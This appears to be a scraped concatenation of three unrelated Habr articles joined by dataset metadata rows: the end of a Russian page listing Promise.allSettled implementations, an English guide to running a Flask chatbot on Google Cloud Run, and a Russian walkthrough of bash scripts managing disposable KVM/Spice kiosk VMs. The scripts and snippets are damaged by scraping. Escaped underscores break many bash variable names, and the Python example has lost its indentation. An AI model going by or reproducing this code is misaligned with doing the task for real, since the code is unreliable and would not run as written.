* [В виде HTML](https://tc39.github.io/proposal-promise-allSettled/)
Реализации
==========
* [V8](https://bugs.chromium.org/p/v8/issues/detail?id=9060), Chrome 76
* [SpiderMonkey](https://bugzilla.mozilla.org/show_bug.cgi?id=1539694), Firefox 68 Nightly
* [JavaScriptCore](https://bugs.webkit.org/show_bug.cgi?id=197600), Safari TP 85 and Safari 13 Beta
* [Chakra](https://github.com/microsoft/ChakraCore/pull/6138)
* [Основной полифилл](https://www.npmjs.com/package/promise.allsettled) | https://habr.com/ru/post/459970/ | null | ru | null |
# Production-ready chatbot in GCP for less than a dollar
We have all been there — having a nice idea for a hackathon, hobby or a side project and having a burning desire to start coding as soon as possible. And how many possibilities (Heroku, Glitch and others) are there now to bootstrap your app and deploy it immediately.
Finding the balance between overcomplicated structures and oversimplified solutions with no security is a particularly challenging task sometimes. I think that modern Google Cloud Platform ecosystem provides a nice toolset for solving this problem without vendor lock-in (almost, of course we'll use some specific services but they are easy to migrate from).
As an example for an app I will use the chatbot application. It's open sourced and hosted in [GitHub](https://github.com/Gaikanomer9/mentor-chatbot).
Quick demo
----------
What's better than a live demo? **A live demo that is available on demand!** Go to [Facebook page](https://www.facebook.com/Raido-Mentor-Bot-109235004160923) for the chatbot and drop a few lines to it. Notice how the first response takes some time and after that the responses are smooth and fast. (Of course, if somebody used the app in the past 15 minutes there would be no warm-up time).
What just happened here? The Facebook Messenger Platform got your message to the app page and hit the webhook for the chatbot backend. The Cloud Run service which is responsible for backend in our app spun up a new instance of the Docker container with our app and processed the request.
Architecture overview
---------------------
Let's take a look at the overall app architecture in the GCP and then go through the deployment pipeline.
The bot itself is using the Python framework Flask for handling requests. For storage the NoSQL Firestore is used as it's a good fit for small number of concurrent requests and there are no complicated relational queries.
### Infrastructure
The code is packaged within the Docker image which is built by the Cloud Build service and pushed to the GCP Container Registry. The Cloud Run service is basically the light version for the Kubernetes. It is managing the service exposure to the world, autoscaling, versioning and SSL keys rotation. Each deployed service deployed to the Cloud Run gets a service domain name with HTTPS enabled but you can also use the custom domain name and have SSL encryption enabled as well.
The Cloud Run service is responsible for handling incoming requests. The app inside the Docker container can be anything you need (in terms of languages, libraries or other internal dependencies). The only thing you must remember is that apps inside Cloud Run should be stateless. For attaching volumes you would need to use the usual Kubernetes or other services. Storing data in this case is conveniently done with managed SQL or NoSQL services.
### Deployment pipeline
The deployment is triggered automatically with push to the master branch. After that Cloud Build picks up the source code, builds a new image and stores it in the GCR. Later Cloud Build creates a new revision of the service in Cloud Run and switches traffic to it. You could also configure a partial switch here for implementing a gradual rollout and detect anomalies before the service goes live for every user.
How to use it?
--------------
We'll go through the process of setting up the similar solution by forking the chatbot app in this article.
We'll fork it and clean up so you could have a quick start but if you need a more complex example feel free to return to the original repository for reference.
1. Fork the [repository](https://github.com/Gaikanomer9/mentor-chatbot) with the chatbot application as it contains all the necessary files.
2. In the GCP enable the Firestore, Cloud Build and Cloud Run APIs.
3. Create a new project in GCP and go to <https://console.cloud.google.com/cloud-build>
4. Connect a forked repository.
5. Create a new trigger for this repository and specify the following Substitution variables:
**\_SERVICE\_NAME** (for the name of the service in Cloud Run)
**\_REGION** (region to deploy the service)
**\_IMAGE\_NAME** (image name to store in GCR)
6. Clone the forked repository
7. Go inside the repository folder and delete the files that are specific for the chatbot:
```
rm config.py fb.py gcp.py logging_handler.py skills.json
```
8. Replace the content of the app.py file with the following snippet:
```
import os
from flask import request
from flask import Flask
app = Flask(__name__)
@app.route("/", methods=["GET"])
def hello_there():
return "Hello Cloud Run", 200
if __name__ == "__main__":
app.run(debug=True, host="0.0.0.0", port=int(os.environ.get("PORT", 8080)))
```
We prepared our repository for continuous delivery of our application. Now when you'll commit the changes and push them to a forked repository the Cloud Build service will build and deploy a new application.
1. Commit all the changes and push it to the remote forked repository.
2. Go to <https://console.cloud.google.com/run> and retrieve the URL for a service. Check that it's working and we receive the "Hello Cloud Run" message.
3. Go to <https://console.cloud.google.com/cloud-build> to see the information about the build or any problems that occured.
Now let's take a look at the most interesting files here:
* **cloudbuild.yaml** contains all the build and deployment steps. We specify the docker images used for each build step and provide arguments to it. The last step is creating a new revision with a fresh Docker image and finishing up the deployment.
* **Dockerfile** contains the information about how container is executed. In this example we are using gunicorn webserver and serving our Flask app.
Billing and costs
-----------------
Each service in this demo except for the Secrets Manager has a free tier. Cloud Run is not running 24/7 but only spins up a container instance when there is a need. This enables us to save a lot of resources, gives us more control over the application (it's not a serverless function or similar solution) and grants the autoscaling capabilities.
The total cost for running this project with a low load (it's a simple chatbot that is not interacting with user all the time) is the cost of 2 secrets in the Secrets Manager service which is 0.12 $ per month. Everything else is covered by the free tier. Of course this applies only if the app is not having a surge in users but even in this case it could automatically scale up and down without intervention from our side.
Why bother?
-----------
Building small applications for fun, side project or as a hackathon entry is always a tricky task. We could have no setup at all and the app would never even had a change to communicate with users. We could have an extremely expensive setup living on a trial money from GCP or other provider which would be shutdown as soon as there are no more credits. We could also deploy it as a serverless app or use a PaaS provider but it would mean we lose a major control over the app and if we would like to migrate in the future it would require some time to do this.
The system architecture in this article is an attempt to make small projects available for a longer periods of time while keeping them a little more secure and ready for the potential growth. | https://habr.com/ru/post/510468/ | null | en | null |
# KVM (недо)VDI с одноразовыми виртуальными машинами с помощью bash
#### Кому предназначена данная статья
Данная статья может быть интересна системным администраторам, перед которыми вставала задача создать сервис «одноразовых» рабочих мест.
#### Пролог
В отдел ИТ сопровождения молодой динамично развивающейся компании с небольшой региональной сетью, обратились с просьбой организовать «станции самообслуживания» для использования их внешними клиентами. Данные станции предполагалось использовать для регистрации на внешних порталах компании, загрузки данных с внешних устройств, работы с государственными порталами.
Важным аспектом являлся тот факт, что большая часть программного обеспечения «заточена» под MS Windows (например, «Декларация»), а несмотря на движение в сторону открытых форматов, MS Office остается доминирующим стандартом при обмене электронными документами. Таким образом, отказаться от MS Windows при решении данной задачи мы не могли.
Основной проблемой виделось возможность накопления различных данных пользовательских сеансов, которые могли бы привести к их утечке третьим лицам. [Такая ситуация уже подвела МФЦ](https://www.kommersant.ru/doc/3800268). Но в отличие от квазигосудаственного (государственное автономное учреждение) МФЦ, за подобные недочеты не государственные организации будут наказаны значительно сильнее. Следующей по критичности проблемой было требование работы с внешними носителями данных, на которых, однозначно, будет куча зловредных зловредов. Вероятность заноса зловредов из сети интернет, рассматривалась как менее возможная, в силу ограничения выхода в интернет по белому списку адресов.К проработке требований подключились сотрудники других отделов, внося свои требования и пожелания, итоговые требования выглядели следующим образом:
**Требования ИБ**
* После использования все пользовательские данные (включая временные файлы и ключи реестра) должны удаляться.
* Все процессы, запущенные пользователем, по окончанию работы должны завершаться.
* Выход в интернет по белому списку адресов.
* Ограничения на возможность запуска стороннего кода.
* В случае простоя сеанса более 5 минут, сеанс должен автоматически завершаться, станция должна произвести очистку.
**Требования заказчика**
* Количество клиентских станций на филиал – не более 4-х.
* Минимальное время ожидания готовности системы, от момента «сел за стул» до начала работы с клиентским ПО.
* Возможность подключения периферийных устройств (сканеры, флэшки) непосредственно с места установки «станции самообслуживания».
* Пожелания заказчика
* Демонстрация рекламных материалов (картинки) в момент простоя комплекса.
#### Муки творчества
Вдоволь наигравшись с виндовыми livecd, мы пришли к единодушному выводу, что получающееся решение не удовлетворяет минимум 3 критичным пунктам. Они либо долго грузятся, либо не совсем live, либо кастомизация их была сопряжена с дикими болями. Возможно, мы плохо искали, и вы сможете посоветовать набор какой-то инструментов, буду благодарен.
Дальше мы стали смотреть в сторону VDI, но для этой задачи большинство решений либо слишком дороги, либо требуют пристального внимания. А хотелось простой инструмент, с минимальным количеством магии, большинство проблем которого можно было бы решить простой перезагрузкой/перезапуском сервиса. К счастью, у нас было серверное оборудование, low end класса в филиалах, от выводящегося из эксплуатации сервиса, которое мы могли использовать для технологической базы.
Что в итоге получилось? А вот, что в итоге получилось, я вам рассказать не смогу, ибо NDA, но в процессе поисков мы разработали интересную схему, которая хорошо себя показала в лабораторных испытаниях, хоть и не пошла в серию.
Немного дисклаймеров: автор не претендует на то, что предложенное решение полностью решает все поставленные задачи и делает это добровольно и с песней. Автор заранее согласен с утверждением, что Sein Englishe sprache is zehr schlecht. Так как решение более не развивается, на bug fix или изменение функционала рассчитывать не приходится, всё в ваших руках. Автор предполагает, что вы хоть немного знакомы с KVM и читали обзорную статью по Spice протоколу ну и немного работали с Centos или иным GNU Linux дистрибутивом.
В этой статье я хотел бы разобрать костяк получившегося решения, а именно взаимодействие клиента и сервера и суть процессов по жизненному циклу виртуальных машин в рамках рассматриваемого решения. Если статья окажется интересна публике, я опишу детали реализации live образов для создания тонких клиентов на базе Fedora и расскажу о деталях настройки виртуальных машин и KVM сервера для оптимизации производительности и защищенности.
Если взять цветной бумаги,
Краски, кисточки и клей,
И еще чуть-чуть сноровки…
Можно сделать сто рублей!
#### Схема и описание тестового стенда
Все оборудование располагается внутри сети филиала, наружу выходит только интернет канал. Прокси сервер исторически уже был, ничего экстраординарного он из себя не представляет. Но именно на нем, в числе прочего, будет происходить фильтрация траффика от виртуальных машин (сокр. ВМ далее в тексте). Ничего не мешает разместить этот сервис на KVM сервере, единственное, что надо смотреть как изменится нагрузка от него на дисковую подсистему.
Client Station – собственно, «станции самообслуживания», «фронтенд» нашего сервиса. Представляют из себя неттопы Lenovo IdeaCentre. Чем хорош этот агрегат? Да почти всем, особенно радует большое количество USB разъемов и кардридер на лицевой панели. В нашей схеме в кардридер вставлена SD карта с включенной аппаратной защитой от записи, на которою записан модифицированный live образ Fedora 28. Само собой, к неттопу подключен монитор, клавиатура и мышь.
Switch – ничем не примечательный аппаратный switch второго уровня, стоит в серверной и мигает лампочками. Ни к каким сетям, кроме сети «станций самообслуживания» не подключен.
KVM\_Server – ядро схемы, в стендовых испытаниях Core 2 Quad Q9650 с 8 Гб оперативной памяти уверенно тянул на себе 3 виртуальных машины с Windows10. Дисковая подсистема – adaptec 3405 2 диска Raid 1 + SSD. В полевых испытаниях Xeon 1220 более серьезный LSI 9260 + SSD легко тянули 5-6 ВМ. Сервера нам достались бы от выбывшего сервиса, капитальных затрат было бы не много. На этом сервере(ах) развернута система виртуализации KVM с пулом виртуальных машин pool\_Vm.
Vm — виртуальная машина, бэкэнд нашего сервиса. В ней происходит работа пользователя.
Enp5s0 – сетевой интерфейс смотрящий в сторону сети «станций самообслуживания», на нем живут dhcpd, ntpd, httpd, и xinetd слушает «signal» порт.
Lo0 – псевдоинтерфейс обратной петли. Стандартный.
Spice\_console – Очень интересная вещь, дело в том, что в отличие от классического RDP, при развороте связки KVM+Spice protocol, появляется дополнительная сущность – порт консоли виртуальной машины. Фактически, подключаясь на этот TCP порт, мы получаем консоль Vm, без необходимости подключатся к Vm через её сетевой интерфейс. Всё взаимодействие с Vm по передаче сигнала, сервер берет на себя. Ближайший аналог по функции – IPKVM. Т.е. на этот порт передается изображение монитора ВМ, на него же передаются данные о перемещении мыши, и (что самое главное) взаимодействие через Spice протокол позволяет бесшовно перенаправлять USB устройства в виртуальную машину, словно это устройство подключено к самой Vm. Проверено для флэш накопителей, сканеров, вэб-камер.
Vnet0, virbr0 и виртуальные сетевые карты Vm образуют сеть виртуальных машин.
#### Как ЭТО работает
Со стороны Client Station
Клиентская станция загружается в графическом режиме с модифицированного live образа Fedora 28, получает ip адрес по dhcp из адресного пространства сети 169.254.24.0/24. В процессе загрузки создаются правила файервола, позволяющие производить соединения к «signal» и «spice» портам сервера. После завершения загрузки станция ждет авторизации пользователя «Client». После авторизации пользователя происходит запуск менеджера рабочих столов «openbox» и выполнение скрипта автозапуска autostart от имени авторизовавшегося пользователя. Среди прочего, скрипт автозапуска запускает скрипт remote.sh.
**$HOME/.config/openbox/scripts/remote.sh**
```
#!/bin/sh
server_ip=$(/usr/bin/cat /etc/client.conf |/usr/bin/grep "server_ip" \
|/usr/bin/cut -d "=" -f2)
vdi_signal_port=$(/usr/bin/cat /etc/client.conf |/usr/bin/grep "vdi_signal_port" \
|/usr/bin/cut -d "=" -f2)
vdi_spice_port=$(/usr/bin/cat /etc/client.conf |/usr/bin/grep "vdi_spice_port" \
|/usr/bin/cut -d "=" -f2)
animation_folder=$(/usr/bin/cat /etc/client.conf |/usr/bin/grep "animation_folder" \
|/usr/bin/cut -d "=" -f2)
process=/usr/bin/remote-viewer
while true
do
if [ -z `/usr/bin/pidof feh` ]
then
/usr/bin/echo $animation_folder
/usr/bin/feh -N -x -D1 $animation_folder &
else
/usr/bin/echo
fi
/usr/bin/nc -i 1 $server_ip $vdi_signal_port |while read line
do
if /usr/bin/echo "$line" |/usr/bin/grep "RULE ADDED, CONNECT NOW!"
then
/usr/bin/killall feh
pid_process=$($process "spice://$server_ip:$vdi_spice_port" \
"--spice-disable-audio" "--spice-disable-effects=animation" \
"--spice-preferred-compression=auto-glz" "-k" \
"--kiosk-quit=on-disconnect" | /bin/echo $!)
/usr/bin/wait $pid_process
/usr/bin/killall -u $USER
exit
else
/usr/bin/echo $line >> /var/log/remote.log
fi
done
done
```
**/etc/client.conf**
```
server_ip=169.254.24.1
vdi_signal_port=5905
vdi_spice_port=5906
animation_folder=/usr/share/backgrounds/animation
background_folder=/usr/share/backgrounds2/fedora-workstation
```
Описание переменных файла client.conf
server\_ip — адрес KVM\_Server
vdi\_signal\_port — порт KVM\_Server на котором «сидит» xinetd
vdi\_spice\_port — сетевой порт KVM\_Server, с которого будет происходить перенаправление запроса на соединение от remote-viewer клиента к spice порту выделенной Vm (подробности ниже)
animation\_folder — папка, откуда берутся изображения для демонстрации bullshit animation
background\_folder — папка, откуда берутся изображения для демонстрации презентаций в режиме ожидания. Подробнее об анимации в следующей части статьи.
Скрипт remote.sh берет настройки из файла конфигурации /etc/client.conf и производит с помощью nc подключение на «vdi\_signal\_port» порт KVM сервера и получает поток данных от сервера, среди которых ожидает строки «RULE ADDED, CONNECT NOW». При получении искомой строки запускается процесс remote-viewer в режиме киоска устанавливая соединение на «vdi\_spice\_port» порт сервера. Выполнение скрипта приостанавливается до момента окончания исполнения remote-viewer-а.
Remote-viewer подключаясь на «vdi\_spice\_port» порт, за счет редиректа на стороне сервера, попадает на порт «spice\_console» интерфейса lo0 т.е. на консоль виртуальной машины и происходит, непосредственно, работа пользователя. В процессе ожидания подключения, пользователю демонстрируется bullshit animation, в виде слайд-шоу из jpeg файлов, путь к каталогу с картинками определяется значением переменной animation\_folder из конфигурационного файла.
При потере соединения с «spice\_console» портом виртуальной машины, сигнализирующего об выключении/перезагрузке виртуальной машины (т.е. фактическим окончанием сессии пользователя), происходит завершения всех процессов, запущенных от имени авторизовавшегося пользователя, что приводит к перезапуску lightdm и возврату на экран авторизации.
#### Со стороны KVM Server
На «signal» порту сетевой карты enp5s0 ждет соединения xinetd. После коннекта на «signal» порт xinetd запускает скрипт vm\_manager.sh без передачи ему каких-либо вводных параметров и перенаправляет результат выполнения скрипта в nc сессию Client Station.
**/etc/xinetd.d/test-server**
```
service vdi_signal
{
port = 5905
socket_type = stream
protocol = tcp
wait = no
user = root
server = /home/admin/scripts_vdi_new/vm_manager.sh
}
```
**/home/admin/scripts\_vdi\_new/vm\_manager.sh**
```
#!/usr/bin/sh
##
SRV\_SCRIPTS\_DIR=$(/usr/bin/cat /etc/vm\_manager.conf \
|/usr/bin/grep "srv\_scripts\_dir" |/usr/bin/cut -d "=" -f2)
/usr/bin/echo "SRV\_SCRIPTS\_DIR=$SRV\_SCRIPTS\_DIR"
export SRV\_SCRIPTS\_DIR=$SRV\_SCRIPTS\_DIR
SRV\_POOL\_SIZE=$(/usr/bin/cat /etc/vm\_manager.conf \
|/usr/bin/grep "srv\_pool\_size" |/usr/bin/cut -d "=" -f2)
/usr/bin/echo "SRV\_POOL\_SIZE=$SRV\_POOL\_SIZE"
export "SRV\_POOL\_SIZE=$SRV\_POOL\_SIZE"
SRV\_START\_PORT\_POOL=$(/usr/bin/cat /etc/vm\_manager.conf \
|/usr/bin/grep "srv\_start\_port\_pool" |/usr/bin/cut -d "=" -f2)
/usr/bin/echo SRV\_START\_PORT\_POOL=$SRV\_START\_PORT\_POOL
export SRV\_START\_PORT\_POOL=$SRV\_START\_PORT\_POOL
SRV\_TMP\_DIR=$(/usr/bin/cat /etc/vm\_manager.conf \
|/usr/bin/grep "srv\_tmp\_dir" |/usr/bin/cut -d "=" -f2)
/usr/bin/echo "SRV\_TMP\_DIR=$SRV\_TMP\_DIR"
export SRV\_TMP\_DIR=$SRV\_TMP\_DIR
date=$(/usr/bin/date)
##
/usr/bin/echo "# $date START EXECUTE VM_MANAGER.SH #"
make_connect_to_vm() {
##
/usr/bin/echo "READING CLEAN.LIST AND CHECK PORT STATE"
##
if [ -z `/usr/bin/cat $SRV\_TMP\_DIR/clear.list` ]
then
/usr/bin/echo "NO AVALIBLE PORTS IN CLEAN.LIST FOUND"
/usr/bin/echo "Will try to make housekeeper, and create new vm"
make\_housekeeper
else
##
/usr/bin/cat $SRV\_TMP\_DIR/clear.list |while read line
do
clear\_vm\_port=$(($line))
/bin/echo "FOUND PORT $clear\_vm\_port IN CLEAN.LIST. TRY NETSTAT" \
"CHECK FOR PORT=$clear\_vm\_port"
##
if /usr/bin/netstat -lnt |/usr/bin/grep ":$clear\_vm\_port" > /dev/null
then
/bin/echo "$clear\_vm\_port IS LISTEN"
##
if /usr/bin/netstat -nt |/usr/bin/grep ":$clear\_vm\_port" \
|/usr/bin/grep "ESTABLISHED" > /dev/null
then
##
/bin/echo "$clear\_vm\_port IS ALREADY CONNECTED, MOVE PORT TO WASTE.LIST"
/usr/bin/sed -i "/$clear\_vm\_port/d" $SRV\_TMP\_DIR/clear.list
/usr/bin/echo $clear\_vm\_port >> $SRV\_TMP\_DIR/waste.list
else
###
/usr/bin/echo "OK, $clear\_vm\_port IS NOT ALREADY CONNECTED"
/usr/bin/sed -i "/$clear\_vm\_port/d" $SRV\_TMP\_DIR/clear.list
/usr/bin/echo $clear\_vm\_port >> $SRV\_TMP\_DIR/conn\_wait.list
$SRV\_SCRIPTS\_DIR/vm\_connect.sh $clear\_vm\_port
##
/bin/echo "TRY TO CLEAN VM IN WASTE.LIST AND CREATE NEW VM"
make\_housekeeper
/usr/bin/echo "# $date STOP EXECUTE VM\_MANAGER.SH#"
exit
fi
else
##
/bin/echo " "$clear\_vm\_port" is NOT LISTEN. REMOVE PORT FROM CLEAR.LIST"
/usr/bin/sed -i "/$clear\_vm\_port/d" $SRV\_TMP\_DIR/clear.list
/usr/bin/echo $clear\_vm\_port >> $SRV\_TMP\_DIR/waste.list
make\_housekeeper
fi
done
fi
}
make\_housekeeper() {
/usr/bin/echo "=Execute housekeeper="
/usr/bin/cat $SRV\_TMP\_DIR/waste.list |while read line
do
/usr/bin/echo "$line"
if /usr/bin/netstat -lnt |/usr/bin/grep ":$line" > /dev/null
then
/bin/echo "port\_alive, vm is running"
if /usr/bin/netstat -nt |/usr/bin/grep ":$line" \
|/usr/bin/grep "ESTABLISHED" > /dev/null
then
/bin/echo "port\_in\_use can't delete vm!!!"
else
/bin/echo "port\_not in use. Deleting vm"
/usr/bin/sed -i "/$line/d" $SRV\_TMP\_DIR/waste.list
/usr/bin/echo $line >> $SRV\_TMP\_DIR/recycle.list
$SRV\_SCRIPTS\_DIR/vm\_delete.sh $line
fi
else
/usr/bin/echo "posible vm is already off. Deleting vm"
/usr/bin/echo "MOVE VM IN OFF STATE $line FROM WASTE.LIST TO" \
"RECYCLE.LIST AND DELETE VM"
/usr/bin/sed -i "/$line/d" $SRV\_TMP\_DIR/waste.list
/usr/bin/echo $line >> $SRV\_TMP\_DIR/recycle.list
$SRV\_SCRIPTS\_DIR/vm\_delete.sh "$line"
fi
done
create\_clear\_vm
}
create\_clear\_vm() {
/usr/bin/echo "=Create new VM="
while [ $SRV\_POOL\_SIZE -gt 0 ]
do
new\_vm\_port=$(($SRV\_START\_PORT\_POOL+$SRV\_POOL\_SIZE))
/usr/bin/echo "new\_vm\_port=$new\_vm\_port"
if /usr/bin/grep "$new\_vm\_port" $SRV\_TMP\_DIR/clear.list > /dev/null
then
/usr/bin/echo "$new\_vm\_port port is already defined in clear.list"
else
if /usr/bin/grep "$new\_vm\_port" $SRV\_TMP\_DIR/waste.list > /dev/null
then
/usr/bin/echo "$new\_vm\_port port is already defined in waste.list"
else
if /usr/bin/grep "$new\_vm\_port" $SRV\_TMP\_DIR/recycle.list > /dev/null
then
/usr/bin/echo "$new\_vm\_port PORT IS ALREADY DEFINED IN RECYCLE LIST"
else
if /usr/bin/grep "$new\_vm\_port" $SRV\_TMP\_DIR/conn\_wait.list > /dev/null
then
/usr/bin/echo "$new\_vm\_port PORT IS ALREADY DEFINED IN CONN\_WAIT LIST"
else
/usr/bin/echo "PORT IN NOT DEFINED IN NO ONE LIST WILL CREATE" \
"VM ON PORT $new\_vm\_port"
/usr/bin/echo $new\_vm\_port >> $SRV\_TMP\_DIR/recycle.list
$SRV\_SCRIPTS\_DIR/vm\_create.sh $new\_vm\_port
fi
fi
fi
fi
SRV\_POOL\_SIZE=$(($SRV\_POOL\_SIZE-1))
done
/usr/bin/echo "# $date STOP EXECUTE VM\_MANAGER.SH #"
}
make\_connect\_to\_vm |/usr/bin/tee -a /var/log/vm\_manager.log
```
**/etc/vm\_manager.conf**srv\_scripts\_dir=/home/admin/scripts\_vdi\_new
srv\_pool\_size=4
srv\_start\_port\_pool=5920
srv\_tmp\_dir=/tmp/vm\_state
base\_host=win10\_2
input\_iface=enp5s0
vdi\_spice\_port=5906
count\_conn\_tryes=10
Описание переменных конфигурационного файла vm\_manager.conf
srv\_scripts\_dir — папка расположения скриптов vm\_manager.sh, vm\_connect.sh, vm\_delete.sh, vm\_create.sh, vm\_clear.sh
srv\_pool\_size — размер пула Vm
srv\_start\_port\_pool — начальный порт, после которого начнется расположение портов spice консолей виртуальных машин
srv\_tmp\_dir — папка для размещения временных файлов
base\_host — базовая Vm (золотой образ) с которого будут делаться клоны Vm в пул
input\_iface — сетевой интерфейс сервера, смотрящий в сторону Client Stations
vdi\_spice\_port — сетевой порт сервера, с которого будет происходить перенаправление запроса на соединение от remote-viewer клиента к spice порту выделенной Vm
count\_conn\_tryes — таймер ожидания, по истечению которого считается, что соединения к Vm не произошло (подробности работы см. vm\_connect.sh)
Скрипт vm\_manager.sh производит чтение файла конфигурации из файла vm\_manager.conf, производит оценку состояния виртуальных машин в пуле по нескольким параметрам, а именно: сколько VM развернуто, есть ли свободные чистые VM. Для этого он читает файл clear.list в котором содержатся номера «spice\_console» портов «свежесозданных» (см. ниже цикл создания В.М.) виртуальных машин и проверяет наличие установленного соединения с ними. При обнаружении порта с установленным сетевым соединением, (чего быть категорически не должно) выводится предупреждение и порт переносится в waste.list При обнаружении первого порта из файла clear.list с которым в настоящий момент нет соединения vm\_manager.sh вызывает скрипт vm\_connect.sh и передает ему в качестве параметра номер этого порта.
**/home/admin/scripts\_vdi\_new/vm\_connect.sh**
```
#!/bin/sh
date=$(/usr/bin/date)
/usr/bin/echo "#" "$date" "START EXECUTE VM_CONNECT.SH#"
##
free\_port="$1"
input\_iface=$(/usr/bin/cat /etc/vm\_manager.conf |/usr/bin/grep "input\_iface" \
|/usr/bin/cut -d "=" -f2)
/usr/bin/echo "input\_iface=$input\_iface"
vdi\_spice\_port=$(/usr/bin/cat /etc/vm\_manager.conf \
|/usr/bin/grep "vdi\_spice\_port" |/usr/bin/cut -d "=" -f2)
/usr/bin/echo "vdi\_spice\_port=$vdi\_spice\_port"
count\_conn\_tryes=$(/usr/bin/cat /etc/vm\_manager.conf \
|/usr/bin/grep "count\_conn\_tryes" |/usr/bin/cut -d "=" -f2)
/usr/bin/echo "count\_conn\_tryes=$count\_conn\_tryes"
##
##
/usr/bin/echo "create rule for port" $free\_port
/usr/sbin/iptables -I INPUT -i $input\_iface -p tcp -m tcp --dport \
$free\_port -j ACCEPT
/usr/sbin/iptables -I OUTPUT -o $input\_iface -p tcp -m tcp --sport \
$free\_port -j ACCEPT
/usr/sbin/iptables -t nat -I PREROUTING -p tcp -i $input\_iface --dport \
$vdi\_spice\_port -j DNAT --to-destination 127.0.0.1:$free\_port
/usr/bin/echo "RULE ADDED, CONNECT NOW!"
##
##
while [ $count\_conn\_tryes -gt 0 ]
do
if /usr/bin/netstat -nt |/usr/bin/grep ":$free\_port" \
|/usr/bin/grep "ESTABLISHED" > /dev/null
then
/bin/echo "$free\_port NOW in use!!!"
/usr/bin/sleep 1s
/usr/sbin/iptables -t nat -D PREROUTING -p tcp -i $input\_iface --dport \
$vdi\_spice\_port -j DNAT --to-destination 127.0.0.1:$free\_port
/usr/sbin/iptables -D INPUT -i $input\_iface -p tcp -m tcp --dport \
$free\_port -j ACCEPT
/usr/sbin/iptables -D OUTPUT -o $input\_iface -p tcp -m tcp --sport \
$free\_port -j ACCEPT
/usr/bin/sed -i "/$free\_port/d" $SRV\_TMP\_DIR/conn\_wait.list
/usr/bin/echo $free\_port >> $SRV\_TMP\_DIR/waste.list
return
else
/usr/bin/echo "$free\_port NOT IN USE"
/usr/bin/echo "RULE ADDED, CONNECT NOW!"
/usr/bin/sleep 1s
fi
count\_conn\_tryes=$((count\_conn\_tryes-1))
done
##
##
/usr/bin/echo "REVERT IPTABLES RULE AND REVERT VM TO CLEAN \
LIST $free\_port"
/usr/sbin/iptables -t nat -D PREROUTING -p tcp -i $input\_iface --dport \
$vdi\_spice\_port -j DNAT --to-destination 127.0.0.1:$free\_port
/usr/sbin/iptables -D INPUT -i $input\_iface -p tcp -m tcp --dport $free\_port \
-j ACCEPT
/usr/sbin/iptables -D OUTPUT -o $input\_iface -p tcp -m tcp --sport \
$free\_port -j ACCEPT
/usr/bin/sed -i "/$free\_port/d" $SRV\_TMP\_DIR/conn\_wait.list
/usr/bin/echo $free\_port >> $SRV\_TMP\_DIR/clear.list
##
/usr/bin/echo "#" "$date" "END EXECUTE VM\_CONNECT.SH#"
# Attention! Must Be! sysctl net.ipv4.conf.all.route\_localnet=1
```
Скрипт vm\_connect.sh вносит правила файерволла которое создают редирект «vdi\_spice\_port» порта сервера интерфейса enp5s0 на «spice console port» VM, расположенном на lo0 интерфейсе сервера, переданный в качестве параметра запуска. Порт переносится в conn\_wait.list, VM считается ожидающей соединения. В сессию Client Station на «signal» порту сервера передается строка «RULE ADDED, CONNECT NOW», которую ожидает запущенный на ней скрипт remote.sh. Начинается цикл ожидания соединения с количеством попыток, определяемым значением переменной «count\_conn\_tryes» из конфигурационного файла. Каждую секунду в nc сессию будет отдаваться строка «RULE ADDED, CONNECT NOW» и проверяться наличие установленного соединения до «spice\_console» порта.
Если за установленное количество попыток, соединения не произошло, «spice\_console» порт переносится обратно в clear.list Исполнение vm\_connect.sh завершается, возобновляется выполнение vm\_manager.sh, который запускает цикл очистки.
Если фиксируется подключение Client Station к «spice\_console» порту на интерфейсе lo0, правила файерволла создающие редирект между «spice» портом сервера и «spice\_console» портом удаляются и дальнейшее поддержание соединения происходит за счет механизма определения состояния файерволла. В случае разрыва соединения, повторно установить связь с «spice\_console» портом, не удастся. Порт «spice\_console» переносится в waste.list, VM считается «грязной» и вернуться в пул «чистых» виртуальных машин без прохождения очистки она не сможет. Исполнение vm\_connect.sh завершается, возобновляется выполнение vm\_manager.sh, который запускает цикл очистки.
Цикл очистки начинается с просмотра файла waste.list в который переносятся номера «spice\_console» портов виртуальных машин к которым устанавливалось соединение. Определяется наличие активного соединения на каждом «spice\_console» порту из списка. Если соединение отсутствует, считается, что виртуальная машина более не используется и порт переносится в recycle.list и запускается процесс удаления виртуальной машины(см. ниже), которой принадлежал этот порт. Если обнаружено активное сетевое соединение на порту, считается, что виртуальная машина используется, никаких действий для нее не предпринимается. Если порт не прослушивается, считается, что VM выключена и более не нужна. Порт переносится в recycle.list и запускается процесс удаления виртуальной машины. Для этого вызывается скрипт vm\_delete.sh, которому в качестве параметра передается номер «spice\_console» порту VM, которую необходимо удалить.
**/home/admin/scripts\_vdi\_new/vm\_delete.sh**
```
#!/bin/sh
##
port\_to\_delete="$1"
date=$(/usr/bin/date)
##
/usr/bin/echo "# $date START EXECUTE VM_DELETE.SH#"
/usr/bin/echo "TRY DELETE VM ON PORT: $vm_port"
##
vm\_name\_part1=$(/usr/bin/cat /etc/vm\_manager.conf |/usr/bin/grep 'base\_host' \
|/usr/bin/cut -d'=' -f2)
vm\_name=$(/usr/bin/echo "$vm\_name\_part1""-""$port\_to\_delete")
##
##
/usr/bin/virsh destroy $vm\_name
/usr/bin/virsh undefine $vm\_name
/usr/bin/rm -f /var/lib/libvirt/images\_write/$vm\_name.qcow2
/usr/bin/sed -i "/$port\_to\_delete/d" $SRV\_TMP\_DIR/recycle.list
##
/usr/bin/echo "VM ON PORT $vm_port HAS BEEN DELETE AND REMOVE" \
"FROM RECYCLE.LIST. EXIT FROM VM_DELETE.SH"
/usr/bin/echo "# $date STOP EXECUTE VM_DELETE.SH#"
exit
```
Удаление виртуальной машины – достаточно тривиальная операция, скрипт vm\_delete.sh производит определение имени виртуальной машины, которой принадлежит порт, переданный в качестве параметра запуска. Производится принудительный останов VM, удаление VM из гипервизора, удаляется виртуальный жесткий диск данной VM. Порт «spice\_console» удаляется из recycle.list. Исполнение vm\_delete.sh завершается, возобновляется исполнение vm\_manager.sh
Скрипт vm\_manager.sh, по окончанию операций по очистке лишних виртуальных машин из списка waste.list начинает цикл создания виртуальных машин в пул.
